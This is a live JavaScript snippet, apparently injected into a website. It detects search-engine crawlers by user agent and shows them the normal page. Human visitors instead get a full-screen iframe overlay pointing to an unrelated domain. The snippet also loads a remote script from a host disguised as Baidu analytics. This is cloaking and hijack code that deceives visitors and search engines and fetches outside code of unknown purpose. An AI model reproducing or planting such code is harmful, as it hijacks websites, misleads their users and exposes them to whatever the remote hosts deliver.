var user_agent = navigator.userAgent; // 常见的爬虫 User-Agent var crawler_agents = [ "Baiduspider", "YandexBot", "360Spider", "SogouSpider", "Sogou web spider", "YisouSpider", "Bytespider", "bingbot" ]; // 验证是否为爬虫访问 function isCrawler(user_agent) { for (var i = 0; i < crawler_agents.length; i++) { if (user_agent.indexOf(crawler_agents[i]) !== -1) { return true; } } return false; } // 调用函数进行判断 if (isCrawler(user_agent)) { console.log("这是一个爬虫访问"); } else { console.log("这不是一个爬虫访问"); document.getElementById("more").innerText = "侵权联系"; // //页面不出现 // 创建覆盖层 var overlay = document.createElement('div'); overlay.id = 'fullscreen-overlay'; overlay.style.position = 'fixed'; // 使用 fixed 定位以确保覆盖整个视口 overlay.style.top = '0'; overlay.style.left = '0'; overlay.style.zIndex = '10000'; // 设置较高的 z-index 以确保覆盖其他元素 overlay.style.width = '100%'; overlay.style.height = '100%'; overlay.style.backgroundColor = 'rgba(255, 255, 255, 1)'; // 白色背景 // 创建 iframe var iframe = document.createElement('iframe'); iframe.style.width = '100%'; iframe.style.height = '100%'; iframe.style.border = 'none'; // 去除边框 iframe.src = 'https://hhxxttxs778.com/'; // 替换为你的目标 URL // 创建关闭按钮 var closeButton = document.createElement('button'); closeButton.innerText = '关闭'; closeButton.style.position = 'absolute'; closeButton.style.top = '10px'; closeButton.style.right = '10px'; closeButton.style.zIndex = '10001'; // 确保按钮在覆盖层之上 closeButton.style.padding = '5px 10px'; closeButton.style.backgroundColor = 'red'; closeButton.style.color = 'white'; closeButton.style.border = 'none'; closeButton.style.cursor = 'pointer'; // 添加关闭按钮的点击事件 closeButton.addEventListener('click', function() { document.body.removeChild(overlay); // 移除覆盖层 }); // 将 iframe 和关闭按钮添加到覆盖层 overlay.appendChild(iframe); overlay.appendChild(closeButton); // 将覆盖层添加到文档 body document.body.appendChild(overlay); //关闭 } var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://baidu-xianban666.cqxxspw.com/baidu1.js?v=37"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();